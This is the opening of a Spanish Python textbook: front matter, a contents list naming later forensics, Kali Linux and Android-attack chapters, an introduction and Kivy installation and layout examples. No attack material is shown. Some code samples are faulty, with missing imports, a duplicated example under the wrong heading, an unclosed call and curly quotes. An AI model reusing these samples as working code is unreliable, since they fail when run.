Python

Aplicaciones prácticas

Desde **www.ra-ma.es** podrá descargar material adicional.

Jorge Santiago Nolasco Valenzuela

Ra-Ma®

Python

Aplicaciones prácticas

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Python

Aplicaciones prácticas

Jorge Santiago Nolasco Valenzuela

Ra-Ma®

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Python. Aplicaciones prácticas
© Jorge Santiago Nolasco Valenzuela
© De la edición: Ra-Ma 2018

MARCAS COMERCIALES. Las designaciones utilizadas por las empresas para distinguir sus productos (hardware, software, sistemas operativos, etc.) suelen ser marcas registradas. RA-MA ha intentado a lo largo de este libro distinguir las marcas comerciales de los términos descriptivos, siguiendo el estilo que utiliza el fabricante, sin intención de infringir la marca y solo en beneficio del propietario de la misma. Los datos de los ejemplos y pantallas son ficticios a no ser que se especifique lo contrario.

RA-MA es marca comercial registrada.

Se ha puesto el máximo empeño en ofrecer al lector una información completa y precisa. Sin embargo, RA-MA Editorial no asume ninguna responsabilidad derivada de su uso ni tampoco de cualquier violación de patentes ni otros derechos de terceras partes que pudieran ocurrir. Esta publicación tiene por objeto proporcionar unos conocimientos precisos y acreditados sobre el tema tratado. Su venta no supone para el editor ninguna forma de asistencia legal, administrativa o de ningún otro tipo. En caso de precisarse asesoría legal u otra forma de ayuda experta, deben buscarse los servicios de un profesional competente. d e s c a r g a do en: e y b o oks. c o m

Reservados todos los derechos de publicación en cualquier idioma.

Según lo dispuesto en el Código Penal vigente, ninguna parte de este libro puede ser reproducida, grabada en sistema de almacenamiento o transmitida en forma alguna ni por cualquier procedimiento, ya sea electrónico, mecánico, reprográfico, magnético o cualquier otro sin autorización previa y por escrito de RA-MA; su contenido está protegido por la ley vigente, que establece penas de prisión y/o multas a quienes, intencionadamente, reprodujeren o plagiaren, en todo o en parte, una obra literaria, artística o científica.

Editado por:
RA-MA Editorial
Calle Jarama, 3A, Polígono Industrial Igarsa
28860 PARACUELLOS DE JARAMA, Madrid
Teléfono: 91 658 42 80
Fax: 91 662 81 39
Correo electrónico: *editorial@ra-ma.com*
Internet: *www.ra-ma.es* y *www.ra-ma.com*
ISBN: 978-84-9964-758-6
Depósito legal: M-28955-2018
Maquetación: Antonio García Tomé
Diseño de portada: Antonio García Tomé
Filmación e impresión: Safekat
Impreso en España en septiembre de 2018

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Dedicado a quienes no cesan en su afán
de superación y cambio.
El cambio es lo único constante

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

ÍNDICE

INTRODUCCIÓN **13**

CAPÍTULO 1. KIVY **15**

1.1 QUÉ ES KIVY 15
1.2 INSTALACIÓN DE KIVY EN WINDOWS 16
1.3 INSTALACIÓN DE KIVY EN OS X 17
1.4 INSTALACIÓN EN LINUX 18
1.5 CICLO DE VIDA DE UNA APLICACIÓN KIVY 20
1.6 MI PRIMERA APLICACIÓN 21
1.7 WIDGETS BÁSICOS 22
1.8 MÓDULO - FILECHOOSER 24
1.9 CONTENEDORES 25
1.9.1 Floatlayout 26
1.9.2 Gridlayout 28
1.9.3 Boxlayout 29
1.9.4 Stacklayout 31
1.9.5 Relativelayout 32
1.9.6 AnchorLayout 34
1.10 PERSONALIZANDO MI ETIQUETA 35
1.10.1 Aplicación Login 41
1.11 MI PRIMERA CALCULADORA 46
1.12 USO DE CÁMARA 49
1.13 USO DE RECYCLEVIEW 52
1.14 MI PRIMER EDITOR DE TEXTO 57
1.15 ACCORDION 65
1.16 VIDEOS (VIDEO PLAYER) 67

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

CAPÍTULO 2. DESARROLLO WEB. FRAMEWORK DJANGO 69
2.1 DJANGO..... 69
2.1.1 Historia de Django 69
2.1.2 Conociendo Django..... 70
2.1.3 Principio DRY 71
2.1.4 Quiénes usan Django..... 72
2.1.5 Patrón Arquitectónico..... 77
2.1.6 Buenas Prácticas y Convenciones (PEP8) 78
2.1.7 Instalar Django 78
2.1.8 Sobre el uso de PIP..... 80
2.1.9 Instalar Django 80
2.1.10 Entornos virtuales..... 81
2.1.11 Introducción 81
2.1.12 Creación de Entorno Virtual..... 81
2.1.13 Verificando la versión Django 83
2.1.14 Creando el proyecto 83
2.1.15 Estructura del proyecto..... 84
2.1.16 Explicación del settings.py..... 84
2.1.17 Verificar que el proyecto esté funcionando 87
2.1.18 Mi Primera Ejecución en Pycharm..... 88
2.1.19 Instalación de PostgreSQL en Windows 91
2.1.20 pgAdmin..... 111
2.1.21 Componentes..... 114
2.1.22 Creación de nueva base de datos..... 115
2.1.23 Abrir proyecto en pyCharm..... 121
2.1.24 Instalando plugins de Django..... 123
2.1.25 Definiendo el intérprete..... 126
2.1.26 Configuración para la ejecución..... 127
2.1.27 Ejecutando el proyecto..... 129
2.1.28 Instalando el paquete PSYCOPG..... 131
2.1.29 Conexión con la base de datos 132
2.1.30 Creación de las tablas..... 135
2.1.31 Crear SuperUsuario de administración..... 137
2.1.32 Creamos una secuencia 140
2.1.33 Creación de las tablas..... 142
2.1.34 Script de la tabla productos 146
2.1.35 Estructura recomendada 146
2.1.36 Creación de nuestra primera Aplicación 147
2.1.37 Estructura de La App: almacén 148
2.1.38 Configuración de las Apps..... 149
2.1.39 Modificando la vista: views.py y luego mapear la URL..... 150
2.1.40 Modificando views.py..... 150
2.1.41 Modificando la urls.py del proyecto1 para indicar la vista 151
2.1.42 Mejorando la vista..... 152
2.1.43 Lenguaje de plantilla de Django..... 152

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

2.1.44 Creación de Templates 155
2.1.45 Añadiendo las Plantillas 155
2.1.46 Configuración de la carpeta Template 156
2.1.47 Modificando la urls.py del proyecto1 para indicar el Template 158
2.1.48 Configuración del Archivo setting.py 159
2.1.49 Copiar a la carpeta static 161
2.1.50 Configuramos la url del proyecto1 162
2.1.51 Creamos el archivo urls de la app Almacén 162
2.1.52 Navegando Apps Almacen 163
2.1.53 Creando el CRUD de Productos 164
2.1.54 Dentro de cada Apps se deberá crear una carpeta Templates: 169
2.1.55 Ejecutamos la Apps: 170
2.2 CONFIGURACIÓN DE SALIDA DE URL LOCAL EN WINDOWS 171

CAPÍTULO 3. JUEGOS PYGAME 173

3.1 PYGAME 173
3.1.1 Instalar Pygame 173
3.1.2 Comprobando el funcionamiento de Pygame 174
3.1.3 Módulos Pygame 174
3.1.4 3D y 2D 176
3.1.5 Herramientas a Utilizar 176
3.1.6 Sprite 177
3.1.7 Resoluciones de Pantalla 177
3.1.8 Usando Pygame 178
3.1.9 Instalando Pygame en pyCharm 178
3.1.10 Listado de módulos útiles de Pygame 180
3.1.11 Paquete pygame 188
3.1.12 Preparando nuestro entorno 188
3.1.13 Mi segundo ejemplo 191
3.1.14 Juego Creación de Pantalla 195
3.1.15 Mostrar imagen 197
3.1.16 Colisiones 201
3.1.17 Teclado 212
3.1.18 Manejo de colisiones de Pelota y Paleta 216

CAPÍTULO 4. INTRODUCCIÓN ARDUINO-PYTHON 221

4.1 ARDUINO 221
4.1.1 Utilizar Python en Arduino 222

CAPÍTULO 5. SCIPY 225

5.1 SCIPY 225
5.1.1 Creando Arreglos 226
5.1.2 Operaciones Básicas 228
5.1.3 Arreglos N-Dimensionales 229
5.1.4 Gráficos - Arreglos 230

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

5.1.5 Salida enriquecida sympy....234
5.1.6 Más sobre contenido enriquecido....234
5.2 NUMPY....235
5.2.1 Numpy.arange....235
5.2.2 numpy.linspace....238
5.2.3 Histogramas....242
5.2.4 Diagrama de dispersión....246
5.3 MATPLOTLIB....248
5.3.1 Instalación de matplotlib....249
5.3.2 pyplot....249
5.3.3 Seaborn y pandas....251

CAPÍTULO 6. INTELIGENCIA ARTIFICIAL. DATA SCIENCE....255

6.1 MACHINE LEARNING....255
6.1.1 Librerías Utilizadas....256
6.1.2 Algoritmos de Manchine Learning....258
6.1.3 Aprendizaje supervisado....263
6.1.4 Aprendizaje no supervisado....291
6.1.5 Aprendizaje por refuerzo....296
6.1.6 Aprendizaje evolutivo....296
6.2 MÁQUINA INFERENCIAL....296
6.2.1 Web semántica....297
6.2.2 Razonador....305
6.2.3 Lenguajes de la Web Semántica....308
6.2.4 Implementar un razonador en la web semántica orientada a historias clínicas....310
6.2.5 Pellet....311
6.2.6 Jena....313
6.2.7 Web Scraping....347

CAPÍTULO 7. OPEN CV. PROCESAMIENTO DE IMÁGENES....355

7.1 OPENCV....355
7.1.1 Funciones Importantes....356
7.1.2 Escribir imágenes....359
7.1.3 Cambiando el formato de una imagen....360
7.1.4 Modelo de color YUV....360
7.1.5 Modelo de color YUV – Division de Colores....361
7.1.6 Traslación de imágenes....364
7.1.7 Rotación de imágenes....365
7.1.8 Utilizando la Cámara....367
7.1.9 Histograma de Imagen....368
7.1.10 Ecualización de histogramas....372
7.1.11 Convolución de imágenes....373
7.1.12 Detección de rostros usando Haar Cascades....375
7.1.13 Detección de Haar-Cascade en OpenCV....377

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

CAPÍTULO 8. FORENSE.....381
8.1 FORENSE MÓVIL.....381
8.1.1 Qué es Santoku.....381
8.1.2 Herramientas para analizar datos.....382
8.1.3 Herramientas para el análisis de código malicioso.....382
8.1.4 Evaluación de aplicaciones móviles.....382
8.1.5 Herramientas.....382
8.1.6 Herramientas de desarrollo.....383
8.1.7 Analizadores de redes inalámbricas.....383
8.1.8 Ingeniería inversa.....384
8.1.9 Requerimientos.....384
8.1.10 Instalación.....384
8.1.11 AFLogical OSE.....392
8.1.12 Extrayendo Información del dispositivo.....393
8.1.13 Aplicación.....395
8.1.14 Herramientas- AFLogical OSE.....396
8.1.15 Proceso.....396
8.1.16 EXIFTool.....399
8.1.17 Resultados.....402
8.1.18 Otras Herramientas: Nmap.....403
8.1.19 Otras Herramientas: APKTool.....406
8.2 OTRAS HERRAMIENTAS: BACKUP WHATSAPP.....408
8.3 CRIPTOGRAFÍA.....412
8.3.1 MD5.....413
8.3.2 SHA1.....414
8.3.3 SHA512.....415
8.3.4 Hash File.....416
8.4 LISTA ARCHIVOS.....422
8.5 PLATAFORMA (PLATFORM).....423
8.6 SOCKET.....423
8.6.1 Servidor-Clientes.....424
8.6.2 Obtener la dirección IP.....426
8.6.3 Listar direcciones IP.....427
8.7 BÚSQUEDA Y INDEXACIÓN.....429
8.8 RECOLECCIÓN DE INFORMACIÓN.....433
8.8.1 Analizando dominios - Módulo Whois.....433
8.8.2 Analizando dominios - Módulo DNS.....434
8.8.3 Geolocalizacion - Geocoder.....435
8.8.4 Test de penetración.....437
8.8.5 Para qué está diseñado Kali Linux.....440
8.8.6 Descargando Kali Linux.....441
8.8.7 Instalación de Kali Linux.....442
8.8.8 Contraseña predeterminada de Kali Linux.....460

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

8.8.9 Iniciando en modo forense 460
8.8.10 Herramientas de recolección de información 462
8.8.11 Ataque a Android con Msfvenom 471
8.9 REDES TOR 475
8.9.1 Utilidad de las redes Tor 477
8.9.2 La solución: una red distribuida y anónima 478
8.9.3 Mantenerse anónimo 480
8.9.4 El futuro de Tor 480
8.9.5 Tor Browser 481
8.9.6 Recomendación de uso de la Red Tor 486
8.9.7 Comprobando privacidad 487
8.9.8 Controlando una instancia local TOR 488
8.9.9 Información de repetidores disponibles 489
8.9.10 Información de autoridades de directorio 490
8.9.11 Tortazo 490
8.9.12 Modos de uso de Tortazo 491

CAPÍTULO 9. BLOCKCHAIN 493
9.1 INTRODUCCIÓN 493
9.2 CARACTERÍSTICAS DEL BLOCKCHAIN 495
9.3 APLICACIÓN DE BLOCKCHAIN 498
9.4 TECNOLOGÍA DEL LIBRO MAYOR 500
9.5 CRIPTOMONEDAS 501
9.5.1 Historia 502
9.5.2 Características del valor de las criptomonedas 503
9.5.3 Bitcoin es un gran negocio 504
9.5.4 Creador de Bitcoin Satoshi Nakamoto 505
9.5.5 El crecimiento de Bitcoin 505
9.6 CONSTRUCCIÓN DE UNA CADENA DE BLOQUES -PYTHON 506
9.7 FUTURO DEL BLOCKCHAIN 508

CAPÍTULO 10. INSTALACIÓN DE PYTHON 511
A.1 INSTALACIÓN DE PYTHON EN WINDOWS 511
A.2 COMPROBAR LA INSTALACIÓN 514
A.3 AHORA YA PODEMOS REALIZAR PRUEBAS 515
A.4 ENTORNOS DE TRABAJO 515

MATERIAL ADICIONAL 517

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

INTRODUCCIÓN

Python es un lenguaje de programación de propósito general creado por Guido Van Rosum en los 90 trabajo en Google y en la actualidad en Dropbox, su nombre proviene del cómic Monty Python. Cuenta con una sintaxis muy limpia y legible. Posee tipado dinámico esto quiere decir que una variable puede poseer datos de varios tipos, junto con su naturaleza interpretada, hacen de este un lenguaje para ser el primer en aprender. Python es un lenguaje interpretado, lo que nos indica que no se necesita compilar el código fuente para poder ejecutarlo, lo que ofrece ventajas.

Python está escrito en el lenguaje C, por lo que se puede extender a través de su api en C o C++ y escribir nuevos tipos de datos, funciones, etc. En la actualidad hay dos vertientes la versión 2.x y 3.x, al final llegara el momento que se integraran estas dos versiones, es recomendable utilizar la última versión estable 3.x Algunas de las características más importantes es que Python es multiparadigma: Programación estructurada, Programación Orientada a Objetos y Programación Funcional.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Python en el desarrollo web se puede utilizar los framework: Django y Flask. Entre las empresas más conocidas que utilizan Python tenemos: Dropbox y Instagram.

En Data Sciencia y Machine Learning tenemos: Pandas, Scikit-Learn y TensorFlow. Además, es multiplataforma: Linux, Windows, Mac OS, Solaris, etc.

Python permite ser implementado en diferentes lenguajes:

- CPython - Python tradicional escrito en C.
- Jython - Python para la JVM.
- IronPython - Python para .NET.
- Pypy - Python más rápido con compilador JIT.
- StacklessPython - Branch de CPython con soporte para microthreads.

A continuación, un listado de los lenguajes más populares:

PYPL PopularitY of Programming Language

The PYPL PopularitY of Programming Language Index is created by analyzing how often language tutorials are searched on Google.

The more a language tutorial is searched, the more popular the language is assumed to be. It is a leading indicator. The raw data comes from Google Trends.

If you believe in collective wisdom, the PYPL Popularity of Programming Language index can help you decide which language to study, or which one to use in a new software project.

Worldwide, Jun 2016 compared to a year ago

Rank	Change	Language	Share	Trend
1	↑	Python	23.04 %	+5.2 %
2	↓	Java	22.45 %	-0.6 %
3	↑↑	Javascript	9.9 %	+0.3 %
4	↓	PHP	8.21 %	-1.6 %
5	↓	C#	8.01 %	-0.4 %
6		C/C++	6.15 %	-1.1 %
7	↑	R	4.14 %	+0.1 %
8	↓	Objective-C	3.46 %	-1.0 %
9		Swift	2.75 %	-0.0 %
10		Matlab	2.15 %	-0.4 %
11		Ruby	1.7 %	-0.4 %
12	↑↑↑	TypeScript	1.54 %	+0.4 %
13		VBA	1.37 %	-0.0 %
14		Scala	1.23 %	-0.1 %
15	↓↓↓	Visual Basic	1.22 %	-0.2 %
16	↑↑↑↑↑↑	Kotlin	0.93 %	+0.6 %
17		Go	0.92 %	+0.3 %

Fuente: http://pypl.github.io/PYPL.html

Este libro te introduce de manera fácil los conceptos y características básicas, intermedias y avanzadas del lenguaje de Python. Es bueno tener un intérprete de Python a mano para experimentar.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1

KIVY

1.1 QUÉ ES KIVY

Kivy es una librería open source para el desarrollo rápido de aplicaciones equipadas con novedosas interfaces de usuario, como aplicaciones multitáctiles.

Filosofía

A continuación, describiremos que es Kivy y de qué se trata:

- **Fresh.-** Kivy está hecho para el presente y futuro. Los nuevos métodos de entrada como Multi-Touch se han vuelto cada vez más importantes para la interacción.

- **Fast.-** Kivy es rápido. Esto se aplica tanto al desarrollo de la aplicación como a la velocidad de ejecución de la misma. Hemos optimizado Kivy ha sido optimizado de muchas maneras:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

- Implementamos funcionalidad de tiempo crítico en el nivel C para aprovechar el poder de los compiladores existentes. Más importante aún, también utilizamos algoritmos inteligentes para minimizar los costos.
- También usamos la GPU donde tiene sentido en nuestro contexto. El poder computacional de las tarjetas gráficas de hoy en día supera a la de las CPU de hoy en día para algunas tareas y algoritmos, especialmente el dibujo. Es por eso que tratamos de dejar que la GPU haga la mayor parte del trabajo posible, aumentando así rendimiento considerablemente.

◤ **Flexible.-** Kivy es flexible. Esto significa que se puede ejecutar en una variedad de dispositivos diferentes, incluido Android.

Teléfonos inteligentes y tabletas. Admitimos todos los principales sistemas operativos (Windows, Linux, OS X). Siendo flexible.

También significa que el rápido desarrollo de Kivy le permite adaptarse rápidamente a las nuevas tecnologías. Más que una vez hemos agregado soporte para nuevos dispositivos externos y protocolos de software, a veces incluso antes fueron liberados.

◤ **Focused.-** Kivy está enfocado. Puede escribir una aplicación simple con algunas líneas de código. Se crean los programas Kivy utilizando el lenguaje de programación Python, que es increíblemente versátil y potente, pero fácil de usar.

◤ **Funded.-** Kivy es una solución con influencia de la comunidad, desarrollada profesionalmente y con respaldo comercial.

◤ **Free.-** Kivy es free o uso gratuito.

1.2 INSTALACIÓN DE KIVY EN WINDOWS

Para utilizar Kivy, Necesitamos tener instalado previamente Python.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

En línea de comando escriba lo siguiente:

1. Asegúrese la última versión de: pip y wheel:

```
python -m pip install --upgrade pip wheel setuptools
```

2. Instale las dependencias:

```
python -m pip install docutils pygments
pypiwin32 kivy.deps.sdl2 kivy.deps.glew
python -m pip install kivy.deps.gstreamer
```

3. Para Python 3.5, ofrecemos angle que se puede usar en lugar de glew y se puede instalar con:

```
python -m pip install kivy.deps.angle
```

4. Instalación de kivy:

```
python -m pip install kivy
```

Opcionalmente, Instalación de Ejemplos:

```
python -m pip install kivy_examples
```

1.3 INSTALACIÓN DE KIVY EN OS X

Usando Homebrew.

1. Requisitos usando homebrew:

```
$ brew install pkg-config sdl2 sdl2_image sdl2_ttf sdl2_mixer gstreamer
```

2. Instalando con Cython y Kivy usando pip:

```
$ pip install Cython==0.26.1
$ pip install kivy
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Para instalar la versión de desarrollo:

```
$ pip install https://github.com/kivy/kivy/archive/master.zip
```

1.4 INSTALACIÓN EN LINUX

Para instalar paquetes relativos de distribución .deb/.rpm/…

1. Agregar uno de los PPA.

stable builds:	$ sudo add-apt-repository ppa:kivy-team/kivy
nightly builds:	$ sudo add-apt-repository ppa:kivy-team/kivy-daily

2. Actualice su lista de paquetes.

```
$ sudo apt-get update
```

3. Instalar Kivy.

Python2 - python-kivy:

```
$ sudo apt-get install python-kivy
```

Python3 - python3-kivy:

```
$ sudo apt-get install python3-kivy
```

Opcionalmente los ejemplos:

```
$ sudo apt-get install python-kivy-examples
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Debian (Jessie or Newer)

1. Agregue uno de los PPA a tus fuentes apt manual o con mediante Synaptic.

stable builds:	deb http://ppa.launchpad.net/kivy-team/kivy/ubuntu xenial main
daily builds:	deb http://ppa.launchpad.net/kivy-team/kivy-daily/ubuntu xenial main

2. Agregue la clave GPG a su apt keyring ejecutando.

```
as user:
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys A863D2D6
as root:
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys A863D2D6
```

Linux Mint

1. Ubica tu versión de Ubuntu en el cual está basada tu instalación.
2. Continua con tu instalación.

Bodhi Linux

1. Ubica tu versión de distribución que está ejecutando y use la tabla a continuación:

Bodhi 1:	Ubuntu 10.04 LTS aka Lucid (No packages, just manual install)
Bodhi 2:	Ubuntu 12.04 LTS aka Precise
Bodhi 3:	Ubuntu 14.04 LTS aka Trusty
Bodhi 4:	Ubuntu 16.04 LTS aka Xenial

OpenSuSE

1. Para instalar kivy vaya la a url http://software.opensuse.org/package/python-Kivy.
2. Si deseas acceder a los ejemplos selecciones **python-Kivy-examples.**

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Fedora

1. Agregue al repositorio a través del terminal:

```
Fedora 18
$ sudo yum-config-manager  --add-repo=http://download.opensuse.org\
/repositories/home:/thopiekar:/kivy/Fedora_18/home:thopiekar:kivy.repo
```

```
Fedora 17
$ sudo yum-config-manager --add-repo=http://download.opensuse.org\
/repositories/home:/thopiekar:/kivy/Fedora_17/home:thopiekar:kivy.repo
```

```
Fedora 16
$ sudo yum-config-manager --add-repo=http://download.opensuse.org\
/repositories/home:/thopiekar:/kivy/Fedora_16/home:thopiekar:kivy.repo
```

1.5 CICLO DE VIDA DE UNA APLICACIÓN KIVY

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1.6 MI PRIMERA APLICACIÓN

Ahora vamos a crear el famoso HOLA MUNDO:

HolaMundo.py

```
import kivy
kivy.require('1.10.0')
from kivy.app import App
from kivy.uix.button import Label
class MiAplicacion (App):
    def build(self):
        return Label(text='Hola Mundo')
if __name__ == "__main__":
    MiAplicacion ().run()
```

Al ejecutarse:

A continuación, explicaremos el código línea a línea:

Indicamos la versión de Kivy.

```
import kivy
kivy.require('1.10.0')
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Importamos la clase base de tu App desde app:

```
from kivy.app import App
```

El uix.button es la sección que contiene los elementos de la interfaz de usuario, como diseños y widgets que se desea mostrar.

```
from kivy.uix.button import Label
```

Aquí es donde estamos definiendo la clase base de nuestra aplicación Kivy. Solo deberías necesitar cambiar el nombre de su aplicación MyApp en esta línea:

```
class MiAplicacion(App):
```

Función que inicializa y retorna el widget.

```
def build(self):
    return Label(text='Hola Mundo')
```

La clase MyApp se inicializa y se llama a su método run (). Esto inicializa y comienza nuestro Kivy:

```
if __name__ == "__main__":
    MiAplicacion().run()
```

1.7 WIDGETS BÁSICOS

Un widget es el componente básico de las interfaces en Kivy. Una interfaz de usuario generalmente tiene muchos elementos, como cuadros de texto de entrada, etiquetas, listas desplegables, botones, botones de radio, etc. Estos elementos se denominan widgets en Kivy.

Un widget está representado por una subclase de la kivy.uix.widget.Widget clase.

Un widget puede tener propiedades como id, color, texto, tamaño de fuente, etc.

Un widget puede desencadenar algunos eventos como:

- touch down
- touch move
- touch up

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

A continuación, mostraremos el código kivy describiendo algunos widgets básicos:

El nombre de la clase Label y sus propiedades en minúscula.

Label: **id: etiqueta1** **text: 'Soy una Etiqueta'** **font_size: 15**	

El nombre de la clase TextInput y sus propiedades en minúscula.

TextInput: **id: numero1** **multiline:False** **font_size: 30**	

El nombre de la clase Button y sus propiedades en minúscula.

Button: **id: boton1** **text: 'Mi Boton'** **font_size: 25**	

La clase Button tiene dos eventos adicionales: on_press similar a on_touch_down y on_release on_touch_down.

Button: **id: boton1** **text: 'Mi Boton'** **font_size: 25** **on_press: root.accion1()**	

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1.8 MÓDULO - FILECHOOSER

El módulo FileChooser proporciona varias clases para describir, visualizar y examinar archivos.

FileChooserListView: **id: filechooser**	

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1.9 CONTENEDORES

Un contenedor es donde colocamos los elementos de una aplicación o sitio web, los contenedores no ayudaran en el ordenamiento adecuado de los elementos que una aplicación puede contener gráficamente.

Kivy cuenta con muchos contenedores con características diferentes. Entre los que tenemos:

- FloatLayout
- Gridlayout
- Boxlayout
- Stacklayout
- Relavitelayout
- Anchorlayout

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1.9.1 Floatlayout

Este es uno de los contenedores más utilizados, gracias a la gran ventaja que tenemos de poner elementos en el lugar que más nos guste. Ejemplo:

FloatLayout1.py

```
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.floatlayout import FloatLayout
Builder.load_string('''
<Flotante>:
    Button:
        font_size: 40
        text: 'Uno'
        size_hint: 0.1, 0.1
        pos_hint: {"x": 0, 'y':0}
    Button:
        font_size: 40
        text: 'Dos'
        size_hint: 0.2, 0.2
        pos_hint: {"x": 0.07, 'y':0.07}
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
    Button:
        font_size: 40
        text: 'Tres'
        size_hint: 0.3, 0.3
        pos_hint: {"x": 0.18, 'y':0.18}
    Button:
        font_size: 40
        text: 'Cuatro'
        size_hint: 0.4, 0.4
        pos_hint: {"x": 0.4, 'y':0.35}
    Button:
        font_size: 40
        text: 'Cinco'
        size_hint: 0.5, 0.5
        pos_hint: {"x": 0.6, 'y':0.6}
'''')
class Flotante(FloatLayout):
    pass
class DemoApp(App):
    def build(self):
        return Flotante()
if __name__ == '__main__':
    DemoApp().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1.9.2 Gridlayout

Para utilizar este layout tenemos que definir por lo menos su dimensión, si queremos que tenga una columna o más de igual forma que las filas, puedes ver este layout como una hoja de cálculo donde cada elemento toma su lugar de acuerdo al orden que los agregues, por ejemplo:

Gridlayout 1.py

```
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.gridlayout import GridLayout
Builder.load_string('''
<Grid>:
    cols:3
    rows:3
    Button:
        font_size: 40
        text: 'Uno'
    Button:
        font_size: 40
        text: 'Dos'
    Button:
        font_size: 40
        text: 'Tres'
    Button:
        font_size: 40
        text: 'Cuatro'
    Button:
        font_size: 40
        text: 'Cinco'
    Button:
        font_size: 40
        text: 'Seis'
''')
class Grid(GridLayout):
    pass
class DemoApp(App):
    def build(self):
        return Grid()
if __name__ == '__main__':
    DemoApp().run()
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Al ejecutarse:

1.9.3 Boxlayout

En este layout puedes agregar varios elementos los cuales se ordenan dependiendo del tamaño de cada elemento dentro del mismo.

Por ejemplo:

Boxlayout1.py

```
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.boxlayout import BoxLayout
Builder.load_string('''
<caja>:
    orientation: 'vertical'
    padding: 20
    BoxLayout:
        Button:
            text: "Primera Fila, Primera Columna"
            bold: True
        Button:
            text: "Primera Fila, Segunda Columna"
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
            color: [1, 0, 0, 1]
            bold: True
    BoxLayout:
        Button:
            text: “Segunda Fila, Primera Columna”
            color: [0, 0, 1, 1]
            bold: True
        Button:
            text: “Segunda Fila, Segunda Columna”
            color: [1, 1, 0, 1]
            bold: True
’’’)
class Caja(BoxLayout):
    pass
class DemoApp(App):
    def build(self):
        return Caja()
if __name__ == ‘__main__’:
    DemoApp().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1.9.4 Stacklayout

En este layout podemos agregar varios elementos cada elemento se acomoda dependiendo de su tamaño del espacio que el Stacklayout tenga para utilizar. Nos seria de mucha utilidad si queremos agregar varios elementos y deseamos que tengan el mismo tamaño. El layout le define el espacio a cada elemento dependiendo del espacio total que el layout tenga disponible.

Ejemplo:

Stacklayout 1.py

```
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.boxlayout import BoxLayout
Builder.load_string('''
<caja>:
    StackLayout:
        spacing: 5
        padding: 5
        orientation: 'tb-rl'
        Button:
            text: "boton1"
            size_hint: 0.15, 0.15
        Button:
            text: "boton2"
            size_hint: 0.25, 0.25
        Button:
            text: "boton3"
            size_hint: 0.35, 0.35
''')
class Caja(BoxLayout):
    pass
class DemoApp(App):
    def build(self):
        return Caja()
if __name__ == '__main__':
    DemoApp().run()
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Al ejecutarse:

1.9.5 Relativelayout

Es muy similar al Floatlayout, solo que este caso cada elemento se acomoda de acuerdo a la posición del layout. Ejemplo:

Stacklayout 1.py

```
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.boxlayout import BoxLayout
Builder.load_string('''
<caja>:
    StackLayout:
        spacing: 5
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Descargado en: eybooks.com


```
        padding: 5
        orientation: 'tb-rl'
        Button:
            text: "boton1"
            size_hint: 0.15, 0.15
        Button:
            text: "boton2"
            size_hint: 0.25, 0.25
        Button:
            text: "boton3"
            size_hint: 0.35, 0.35
'''
class Caja(BoxLayout):
    pass
class DemoApp(App):
    def build(self):
        return Caja()
if __name__ == '__main__':
    DemoApp().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1.9.6 AnchorLayout

Este layout nos permite agregar elementos basándonos en los bordes del mismo. Ejemplo:

AnchorLayout 1.py

```
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.boxlayout import BoxLayout
Builder.load_string('''
<Caja>:
    anchor_x: 'right'
    anchor_y: 'bottom'
    Button:
        id: label1
        size_hint: 1, 1
        text: 'Boton1'
    Button:
        id: label2
        size_hint: 0.6, 0.6
        text: 'Boton2'
    Button:
        id: label3
        size_hint: 0.3, 0.3
        text: 'Boton3'
    Button:
        id: label4
        size_hint: 0.1, 0.1
        text: 'Boton4'
''')
Window.size = (800, 600)
class Caja(AnchorLayout):
    pass
class DemoApp(App):
    def build(self):
        return Caja()
if __name__ == '__main__':
    DemoApp().run()
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Al ejecutarse:

1.10 PERSONALIZANDO MI ETIQUETA

A continuación, mostramos una Aplicación que muestre múltiples líneas de texto:

TextoLargo.py

```
import kivy
kivy.require('1.10.0')
from kivy.app import App
from kivy.uix.button import Label
